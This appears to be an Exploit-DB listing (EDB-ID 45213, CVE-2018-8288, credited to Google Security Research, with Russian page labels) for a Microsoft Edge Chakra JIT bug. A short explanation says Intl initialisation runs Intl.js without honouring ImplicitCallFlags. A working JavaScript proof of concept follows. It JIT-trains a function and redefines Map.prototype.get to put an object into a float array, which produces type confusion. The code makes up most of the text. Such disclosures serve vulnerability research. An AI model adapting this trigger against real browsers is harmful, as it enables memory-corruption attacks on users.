Exploit Microsoft Edge Chakra JIT - ImplicitCallFlags Check Bypass with Intl

[Exploiter]

EDB-ID

45213

Проверка EDB

1. Пройдено

Автор

GOOGLE SECURITY RESEARCH

Тип уязвимости

DOS

Платформа

WINDOWS

CVE

cve-2018-8288

Дата публикации

2018-08-17

Microsoft Edge Chakra JIT - ImplicitCallFlags Check Bypass with Intl

/*
If the Intl object hasn't been initialized, access to any property of it will trigger the initialization process which will run Intl.js. The problem is that it runs Intl.js without caring about the ImplicitCallFlags flag.

In the PoC, it redefines Map.prototype.get to intercept the execution of Intl.js.

PoC:
*/

function opt(arr, obj) {
    arr[0] = 1.1;
    obj.x;
    arr[0] = 2.3023e-320;
}

let arr = [1.1];
for (let i = 0; i < 0x10000; i++) {
    opt(arr, {});
}

let get = Map.prototype.get;
Map.prototype.get = function (key) {
    Map.prototype.get = get;

    arr[0] = {};

    return this.get(key);
};

opt(arr, Intl);

alert(arr[0]);